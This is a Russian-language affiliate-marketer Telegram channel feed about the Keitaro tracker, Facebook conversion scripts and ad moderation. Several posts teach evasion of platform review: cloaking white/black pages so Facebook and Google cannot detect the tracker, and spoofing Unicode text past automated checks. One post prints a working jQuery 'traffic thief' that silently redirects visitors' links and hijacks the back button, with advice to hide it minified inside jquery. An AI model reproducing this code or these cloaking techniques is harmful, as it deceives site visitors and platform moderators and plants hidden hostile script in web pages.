Блог Адама | Affiliate Marketing
7.02K subscribers
76 photos
12 videos
40 files
112 links
Contact: @trianglefour
Download Telegram
Расширение для копирования текста с фоток на любых страницах в браузере:
https://chrome.google.com/webstore/detail/project-naptha/molncoemjfmpgdkbdlbjmhlcgniigdnf/related


#фишки #расширение
fbp.js
946 B
Скрипт для вытаскивания токена fbp из кук пользователя для работы с Conversion Api Facebook

Установка
:
1. Открываем наш лендинг в редакторе Keitaro
2.
Копируем код из файлика выше и вставляем его перед закрывающим тегом </body>

При заходе на ленд, код начнет в цикле проверять cookie-контейнер на наличие ключа _fbp и как только он будет найден, будет обновлен параметр в стате на полученное значение. Сам токен присваивается стандартным кодом Facebook Pixel (полным).

Далее можете выдергивать это значение S2S-постбэком и слать прямиком в ФБ. В таком варианте сопоставление конверсий будет точно лучше.

PS: На странице обязательно должен стоять полный код пикселя с PageView для присвоения в куки значения. Если его не будет, то и в куках _fbp не будет найден

PSS: _fbp - это параметр, который фиксирует время первого касания пользователя с вашей воронкой

PSSS: Перейти на Кейтаро можно с 20% скидкой с помощью моего промо adamblog
Media is too big
VIEW IN TELEGRAM
Очень жду когда сам ФБ выкатит такую защиту от говнарей, которые берут чужое ☺️

https://www.facebook.com/ads/library/?active_status=all&ad_type=all&country=GB&view_all_page_id=112857077857582&search_type=page&media_type=all
Как не палиться перед ФБ что льете с Keitaro / трекера:

Когда
вы заливаете вайт/блэк с помощью КТ / трекера, любой платформе легко вас выпалить по тегу <base href=... в <head> вайта (при условии что он загружен локально). Такова особенность любого трекера, он берет локально расположенные файлы и тянет их через base href в идентификатор кампании (в путь).

Это можно обойти с помощью трансляции HTML, вместо выбора локального лендинга:
- Берем любой вайт, ссылки на картинки делаем как CDN / Пишем промпт в GPT для генерации вайта (в комментариях к этому посту)
- Как на скрине выше включаем в потоке HTML и вставляем туда код
- Приматываем домен к этой кампании с отловом ошибок 404

Вуаля, теперь ни ФБ, ни Гугл не поймет что вы льете с трекера. Единственный минус подобного решения - ограниченное количество символов в поле HTML в Схеме потока :)

Возможности Кейтаро можно оценить с 20% скидкой с помощью моего промо adamblog

Подписаться

#фишки
Список запрещенных/триггерных слов и фраз

Несмотря на то, что Facebook не признается в этом, у него есть список слов, которые он не любит использовать в своих объявлениях. Хотя контекст является ключевым фактором, все же есть некоторые слова, которые не нравятся FB. Проведя небольшое исследование и пообщавшись с другими менеджерами по рекламе, я нашел вот такой примерный список.

* Facebook. fb - Это кажется странным, но это торговая марка, и компания не хочет, чтобы люди использовали ее название
* Corona Virus Words - лучше избегать любых слов на эту тему: Pandemic, Corona, Coronavirus, infection, anxious, disease
* Любое ругательное слово или даже символы, обозначающие ругательные слова 🍆👌. Даже GPT умеет читать такие знаки, не говоря о ФБ
* Слова которые слишком явно пушат на Покупку:
* Buy
* Marked down
* Coupon
* Discount
* Sale
* % of
* Order
* Акции и розыгрыши
* Giveaway
* Deal
* Win
* Enter
* Contest
* Free
* Ограничения времени / лимитированность продукта
* Limited time
* Today only
* Only x days left
* Ending soon
* Door close
* While supplies last
* You, to You, Your - Конструкция предложений с прямым обращением к человеку + слова из списка выше: You can buy it only today

Дополнительные фишки

* Если вы используете Капслок в тексте И ОН ПРЕОБЛАДАЕТ НАД КОЛИЧЕСТВОМ ТЕКСТА ВО ВСЕМ ПРЕДЛОЖЕНИИ - объявление отклонят 100%
* Facebook не любит рекламу, которая обращается непосредственно к людям или каким-то образом говорит или упоминает о "боли", которую кто-то испытывает. Слова, которые могут вызвать у людей негативные эмоции или иметь отрицательный оттенок. Им не нравится, когда вы указываете на кого-то пальцем и говорите "ты"
* 🟥: Would you like to lose 30 pounds?
* 🟩: Learn about weight loss tips

* 🟥: Would you like to avoid foreclosure
* 🟩: Make your monthly mortgage payments easily

* Нельзя говорить о личности человека, его расе, религии, возрасте и т.д. FB блокирует рекламу, рассказывающую о личных данных
* Ему не нравятся спамерские формулировки типа "быстро разбогатеть", например: "Заработайте 10 000 за 1 месяц"
* Слова/фразы с негативным настроем
* Основное из негатива:
* Угрожающие или агрессивные высказывания
* Оскорбительные высказывания, особенно сексистские, гомофобные, расистские, уничижительные и т.д.
* Слова, связанные с вредными стереотипами. Например что счастливы только Худые или ты будешь счастлив только когда будешь худым

PS: Список подтвержден одним из супервайзеров ФБ

#фишки
Давно ничего не писал, исправляюсь 🫡

Сколько бы не планировал вести канал регулярно, делать отложенный постинг — никогда этого не получалось. Во первых считаю что нужно писать только тогда, когда это может принести пользу определенному кругу людей. Во вторых делать репосты с чужих каналов / заполнять всякой чушью тоже не хочется, тогда чем я буду отличаться от других / среди всех прочих - вопрос. Поэтому периодически пропадаю, зато когда объявляюсь вновь, выдаю вам кучу интересного и полезного (опять же по моему скромному мнению)...

Ушел плотно в работу, изучаю новые вертикали, ищу так сказать "новые горизонты". Пока все мимо, но продвижение имеется, пусть не такое быстрое, зато опыта по всем фронтам набираю огромной лопатой. ФБ вроде отлип, дает спокойно работать, если ваша вертикаль не слишком жесткая. Про оптимизацию молчу, вы и сами знаете что последние месяцы это полная жесть, в общем то как и в любом другом году наступают месяцы плотного хуесосания, но мы обязательно выживем как тот кот из мема

Этот трек пост не о чем – так, абстрактная поебония (С) как пелось в песне Кровостока, тем не менее, напоминать о себе нужно and i did it! Пишите в коммы как дела, кто что льет у кого как вышел октябрь / ноябрь? Интересно будет пообщаться 🗣
Теперь о полезном и местами удивительном лично для меня

Наконец-то один из трекеров, а конкретно Кейтаро начал делать тот функционал, который напрашивался годами: макросы из оффера, интеграция с FB Conversion API и тд. На днях мне выдали предрелизную версию, протыкался и был доволен тем что уже сделано.

Больше всего конечно порадовали переменные внутри офферов. Теперь в каждом оффере можно создать 10 переменных, в которые можно запихнуть вообще все что угодно, а затем выдернуть эти данные прямо на лендинге. Т.е если раньше оффер определялся сразу после перехода пользователя на лендинг, то теперь можно это делать "до", отсюда и появляется возможность наконец-таки делать "универсальные лендинги"

Штука невероятно удобная для соло-арбитров (если такие еще остались), тк. больше не нужно под оффер делать дубль ленда и перенастраивать его, макросы проставил и пошел пулять с разными товарами — красота 🏖

Помимо этого добавили кучу интеграций, таких как Google, Tiktok, везде теперь есть серверные конверсии. Короче большой шаг в сторону пользователей, всегда бы так и все делали и был бы мир во всем мире

Обновление выходит 10.12, сможете накатить и потестить самолично. Ну а если у вас нет КТ, но сильно хочется, можете приобрести с 20% скидоном по промо adamblog
С новым 2024! Дожили, докатились и дальше катимся, лишь бы здоровья хватало, остальное срастется✨

Всем и каждому - всего самого хорошего!
Долго тестили трекеры, вернулись на Кейтаро

За последние 3 месяца, было проделано колоссальное количество работы с трекерами. Пробовали Бином v2, после 2х недель на нем перешли на v1, ибо вторая версия откровенный недопил. Далее сидели на нем долгое время, хавали компромиссы: старый диз, отсутствие нормального файлового менеджера, макросов и кастомизаций. А сидели лишь по одной причине — крутая статистика с drilldown.

С появлением мульти-офферов, было решено перейти на Кейтаро, тк. появилась возможность (ура, наконец-то) делать лендинги с разными офферами с помощью макросов {offer_value:price}. Если сравнивать Кт и Бином, то по плейсхолдерам и кастомизации это конечно небо и земля. Было испытано огромное облегчение, как по интуитивности юза, так и по возможностям, которые просто требуются в каждый трекер (файл. сист., ред. лендов, макросы, кастом фильтры...).

Но вот что удивляет, так это то, что до сих пор нет какого-то единого решения, где тебе и стата с нормальной разбивкой и возможность кастомизации и понятный UX/UI. Для меня большая загадка почему трекеры выпускают версию V2, а она по сути не отличается ничем от предыдущей, кроме технических бэкендерских решений. Как можно переходить на версию V2, оставаясь в той же архитектуре — мне непонятно.

Трекеры должны меняться под рынок также динамично, как воронки в трафике / положение дел в разных сорсах. Годы идут, и ручных действий становится только больше, тк. сорсы крутят гайки (не важно причем кому, белым или серым) + куча других причин. Арбитраж меняется, поэтому появляется необходимость в более профессиональных тулах, способных закрыть сразу ряд вопросов потенциальному вебу. Кто еще этого не понял — меняйте на себя.

В общем и целом, пока сидим дальше на Кт, хотя мне лично ОЧЕНЬ не хватает статистики. Разрабы говорят что это перепил архитектуры статы с нуля, поэтому будет, но не так быстро как всем нам хотелось бы. В любом случае уже приятно, что команда начала слушать мнение людей, занимающихся непосредственно трафиком, это дает свои плоды и те изменения, которые есть сейчас — не могут не радовать :))

#блог
Помимо статы к стати, еще есть куча вопросов относительно построения фаннела

Ну типа все трекеры устроены одинаково: есть 2 сущности (ленд, оффер) и переход из одной в другую. Но что если надо строить более сложные воронки, где будет 2 или 3 доп. степа после первого? — Пока ни одно из решений не может этого предложить. Максимум что можно сделать, это перенаправить юзеров из одной кампании в другую, при переходе на {offer_link}, но тогда теряются метки, расход и куча всего прочего.

Кто-то скажет что мол все просто — засунь все доп. части воронки в лендинг и перестань ныть. Как вариант, но для этого нужно сильно упороться в верстку / js и тут может быть куча проблем, короче это очередные компромиссы, хотя казалось бы зачем?

Покажите мне трекер, у которого можно с оффера отправить юзера еще на доп. этапы, с возможностью в оффере (локальном как ленд) как в ленде проставить макросы и отправить его на следующий этап (тоже локально размещенный). Уверен, вы не найдете подобных технических решений, их просто нет. Потому что увы и ах, разработчики не знают что такое конечный автомат, когда на улице уже 2к24

#блог
Идеальный трекер сегодня, вот прямо сейчас состоит из следующих компонентов

Пункты расставлены по приоритезации:
1. Нормальная статистика с Drill Down / кастом колонками / когортой
2. Возможность использовать больше чем 2 локально размещенных сущности в воронке
3. Файловый менеджер с возможностью input-output / редактирования (ну камон, куда в 24 год без этого)
4. Большое количество понятных и главное применимых плейсхолдеров (макросов) с возможностью кастомизации
5. Плейсхолдеры, с помощью которых можно тянуть данные в разные сущности в любую из сторон (ленд=>оффер / ленд<=оффер)
6. Мультивариантное тестирование без написания кода, а из коробки прямо в редактировании ленда (MVT)
7. Система событий на лендинге для рассчета кастомных метрик
8. Все остальные банальные плюхи, уже имеющиеся в 2х самых популярных трекерах

Что касается кстати применимости макросов — это вообще отдельная тема для ржомбы. Я поэтому выделил "применимых" в тексте. Скажите мне, кто-то использовал когда-то макросы по типу {campaign_group_name}? Вот и я думаю что нет, а они есть, зато макросов для перетяга переменных из офферов в ленд у Бинома до сих пор нет и когда будет большой вопрос ❓❓❓

#имхо
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram-Keitaro-CAPI.zip
8.7 MB
Скрипт для пролива за подписки в Telegram + Facebook

Писал когда-то для себя под схемный. С помощью этой штуки можно отбивать лиды тогда, когда человек подпишется на канал / группу ✅

Работает в связке Keitaro + Telegram + Facebook CAPI. Писал об этом первый раз тут: https://t.me/adamusfb/448.

Скрипт на Python слушает подключенный к нему канал через библиотеку Telethon, отслеживает подписки (в цикле). Когда юзер подписывается, скрипт забирает его ник и чекает совпадения внутри статы Кейтаро. Как только он нашел нужные данные — отправляет конверсию в Facebook по API.

Реализация достаточно сложная, поэтому будьте готовы к горению жопы при настройке. Внутри файла main.py есть инструкция и описанные тонкости при создании связки из вышеозученных сервисов и при работе с Telethon.

Не пишите вопросы в ЛС плиз, только под этим постом буду отвечать...

Подписаться

#скрипт
Please open Telegram to view this post
VIEW IN TELEGRAM
Тонкости работы скрипта

По Telegram:

- Для использования скрипта необходимо создать Telegram APP по ссылке со стоковым параметром Android.
Создать приложение можно тут - https://my.telegram.org/auth?to=apps

- Пропись телефонного номера в config.py в переменную phone_number должна начинаться с +! Иначе не пройдет
авторизация в сессию приложения и получение лога канала будет недоступным действием

- На аккаунте с Telegram APP должна быть убрана 2фа авторизация, напр. облачный пароль. Если на аккаунте будет
стоять облачный пароль, telethon не сможет авторизовать его и получить сессию для работы!

- Аккаунт Telegram на котором создано приложение (Telegram APP) должен быть ВЛАДЕЛЬЦЕМ канала,
в котором будет происходить поиск вступивших в канал. Именно владельцем, а не суперадмином. Если аккаунт является
суперадмином, а не владельцем - будет происходить сокращение инвайт ссылок в админском логе канала, а из-за этого
может происходить рассинхронизация с трекером (все данные о fbclid необходимые для capi хранятся там).

- Не имеет значение тип инвайт ссылок (с заявками на вступление / без). Важно одно - они должны быть безлимитными на вступление.

- Если используются заявочные инвайт ссылки, в канале должен быть добавлен отдельный бот, который занимается
приемом заявок на вступление. Данный скрипт не предоставляет функционала автоапрува в каналах.

По Keitaro:
- Для обеспечения работы логики скрипта, необходимо создать минимум 10 безлимит инвайт ссылок в необходимый канал.
Это напрямую влияет на синхронизацию данных скрипта и трекера. Так же стоит грамотно оценить объем поступаемого
трафика. Если трафика много, необходимо создать 30-50 вступительных ссылок и добавить их в links.txt в виде хэшей
с разделителем \n НО НЕ \r\n, Последняя строка в txt файле не должна иметь пробелов / лишних enter'ов -
ВСЕ ЭТО ЛОМАЕТ ЛОГИКУ РОТАТОРА ССЫЛОК НА ЛЕНДИНГЕ

- На прокладке куда переходит пользователь с Facebook должна осуществляться ротация вступительных ссылок. Реализовать это можно по разному, кому как...

Подписаться

#скрипт
А есть такое ощущение что FB сломался и его оптимизация теперь кусок 💩?

...или только у меня январь не исправил ситуацию?
Простой вор трафика для ваших лендингов

1. Переменная domain отвечает за проверку домена. Если домен отличается от этой переменной, скрипт заменяет все ссылки на replaceLink
2. replaceLink - ссылка на которую будут вести все <a> теги
3. lastDate - это текущая дата, обычно ставится с помощью <?php echo current_date ?> для того чтобы зафиксировать дату выкачки вашего ленда
4. per - рандом параметр для подворовывания, т.е как карта ляжет, чем ниже тем больше ворует

Можно сделать минификацию скрипта и сунуть в одну из библиотек на ленде, например в jquery в самый конец :)

var domain = 'rockyraccoon.com',
replaceLink = 'https://rockyraccoon.com',
lastDate = '2024-01-01',
per = 10;
$(document).ready(function () {
if ((new Date()).getTime() > (new Date(lastDate)).getTime() && Math.round(Math.random() * 100, 0) <= per) {
var a = document.referrer;
if (a != '') {
a = new URL(a).hostname
}
replaceLink = replaceLink.replace("{urlref}", window.location.host + window.location.pathname);
replaceLink = replaceLink.replace("{sourceref}", a);
if (window.location.host != "" && window.location.host != "localhost") {
$('a').each(function (k, elem) {
if (typeof $(elem).attr('href') !== "undefined" && $(elem).attr('href').indexOf(domain) == -1 && $(elem).attr('href') != "#") {
$(elem).on('click', function (e) {
e.originalEvent.currentTarget.href = replaceLink
}); !
function (replaceLink) {
var t;
try {
for (t = 0; 10 > t; ++t) history.pushState({},
"", "#");
onpopstate = function (t) {
t.state && location.replace(replaceLink)
}
} catch(o) {}
} (replaceLink)
}
})
}
}
});


#скрипт
Немного отзывов о Facebook Ads от пользователей Reddit:

Если коротко, то все так себе с конвертом и таких отзывов на редике сотни:
https://www.reddit.com/r/FacebookAds/comments/1ba997d/giving_up_on_fb_ads/

Как у вас дела с конвертом ребзи?
Лучший инструмент для спуфинга текста

Тул "разделяет" ваши символы на 2 части, вставляет невидимые пробелы между буквами, запутывает пунктуацию. При этом внешне текст вообще ничем не отличается от оригинала. В результате текст на 100% становится не читабельным для средств автоматической проверки.

Ссылка:
https://onlinetools.com/unicode/spoof-unicode-text

PS: вряд ли это будет работать в фб, у меня не зашло, но для других целей гуд

#текста #уникализация #сервис